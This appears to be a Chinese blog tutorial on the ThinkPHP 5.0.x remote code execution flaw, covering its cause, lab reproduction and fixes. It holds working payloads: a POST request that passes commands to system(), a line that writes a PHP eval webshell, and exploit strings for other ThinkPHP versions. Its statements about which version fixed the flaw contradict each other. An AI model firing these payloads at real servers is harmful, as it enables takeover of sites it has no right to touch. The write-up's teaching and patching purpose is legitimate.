ThinkPHP 5.0.11 远程代码执行漏洞深度解析:原理、复现与修复方案(SEO优化版)

ThinkPHP 框架与安全挑战

ThinkPHP 是一款由国人开发的轻量级 PHP 开源框架,自2006年诞生以来,凭借其开发效率高、学习成本低、生态完善等优势,广泛应用于各类中小型Web项目中。然而,正因其普及度高,也成为黑客攻击的重点目标。

ThinkPHP 5.0.11 远程代码执行漏洞深度解析:原理、复现与修复方案(SEO优化版)

近年来,ThinkPHP 多个版本曝出严重安全漏洞,其中 5.0.x 系列 在2018年至2019年间连续出现多个远程代码执行(Remote Code Execution, RCE)漏洞,影响范围广、危害程度高。本文将聚焦 ThinkPHP 5.0.11 版本中存在的远程代码执行漏洞,深入剖析其成因、复现过程,并提供切实可行的修复建议。


漏洞概述:ThinkPHP 5.0.11 RCE 漏洞

漏洞名称:

ThinkPHP 5.0.11 远程代码执行漏洞(RCE)

漏洞等级:

高危(Critical)

漏洞类型:

远程代码执行(Remote Code Execution)

影响版本:

  • ThinkPHP 5.0 < 5.0.23

  • ThinkPHP 5.1 < 5.1.31

特别说明:虽然漏洞在 5.0.23 版本中被官方修复,但 5.0.11 作为早期版本,存在严重的安全缺陷,极易被利用。

官方修复:

ThinkPHP 官方于 2019年1月11日 发布 5.0.24 版本,正式修复该系列漏洞。


漏洞原理:为何 ThinkPHP 5.0.11 存在RCE?

该漏洞的根本原因在于 框架对用户输入的处理不当,尤其是在请求方法(method)和过滤器(filter)的处理逻辑中存在缺陷。

核心问题点:

  1. _method 参数未正确过滤
    ThinkPHP 支持通过 _method 参数伪造 HTTP 请求方法(如 POST、PUT、DELETE)。攻击者可通过该参数构造恶意请求。

  2. filter 参数可调用任意函数
    框架允许通过 filter 参数对输入数据进行过滤处理。在 5.0.11 版本中,filter 可被设置为 PHP 内置函数(如 systemexecassert 等),并结合用户输入执行任意代码。

  3. server[REQUEST_METHOD] 可被覆盖
    攻击者可通过 server[REQUEST_METHOD] 覆盖服务器的请求方法,从而绕过部分安全检测。

漏洞触发链:

攻击者通过精心构造的 POST 请求,利用 _method=__construct 触发 Request 类的构造函数,再通过 filter[]=system 将输入数据传递给 system() 函数执行,最终实现 远程命令执行


漏洞复现:手把手教你验证漏洞(仅用于学习)

⚠️ 免责声明:以下操作仅限于合法授权的测试环境或本地搭建的靶场,请勿用于非法渗透。

1. 环境准备

  • 搭建 ThinkPHP 5.0.11 环境(推荐使用 Vulhub 或 Vulfocus)

  • 访问靶场地址:http://your-ip:8080

2. 构造恶意请求(POST)

POST /index.php?s=captcha HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Connection: close

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

3. 漏洞验证

  • 发送上述请求后,若服务器返回 uid=0(root) gid=0(root) groups=0(root) 等信息,说明 id 命令已成功执行。

  • 替换 server[REQUEST_METHOD]=whoami 或 server[REQUEST_METHOD]=ls / 可进一步验证系统权限和文件结构。

4. 写入Webshell(高危操作)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST['cmd']);?>" > shell.php

访问 http://your-ip:8080/shell.php 并使用菜刀、蚁剑等工具连接,即可实现 GetShell


其他 ThinkPHP 5.x RCE 漏洞补充

除 5.0.11 外,ThinkPHP 5.x 系列还存在多个类似漏洞:

漏洞版本利用方式示例
5.0.22 / 5.1.29invokefunction 调用任意函数/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.23__construct + filter同本文所述
3.2.xpreg_replace /e 模式s=/index/index/name/${@phpinfo()}

修复方案:如何安全升级?

✅ 方案一:立即升级框架版本

  • 升级至 ThinkPHP 5.0.24 或更高版本

  • 或升级至 ThinkPHP 6.x 系列(推荐)

composer update topthink/framework

✅ 方案二:临时缓解措施(未升级前)

  1. 禁用危险函数
    php.ini 中禁用 systemexecshell_execpassthru 等函数:

    disable_functions = system,exec,shell_exec,passthru,eval,assert
  2. 启用强制路由
    在配置文件中设置 'url_route_must' => true,防止未定义路由被解析。

  3. WAF 防护
    部署 Web 应用防火墙(如 ModSecurity),拦截包含 _method=__constructfilter[]= 等特征的请求。


安全建议:开发者必读

  1. 及时更新依赖:定期检查并更新 ThinkPHP 及其插件。

  2. 最小权限原则:Web 服务运行用户应避免使用 root 权限。

  3. 关闭调试模式:生产环境务必关闭 APP_DEBUG

  4. 输入验证:对所有用户输入进行严格过滤与转义。

  5. 使用安全工具:集成代码审计工具(如 RIPS、SonarQube)进行自动化检测。


ThinkPHP 5.0.11 的远程代码执行漏洞是典型的“输入未过滤 + 函数调用滥用”导致的安全事故。作为开发者,我们不仅要追求开发效率,更要重视代码安全。定期关注官方安全公告,及时修复已知漏洞,是保障系统稳定运行的基石。

安全无小事,防患于未然。

发表评论

评论列表

还没有评论,快来说点什么吧~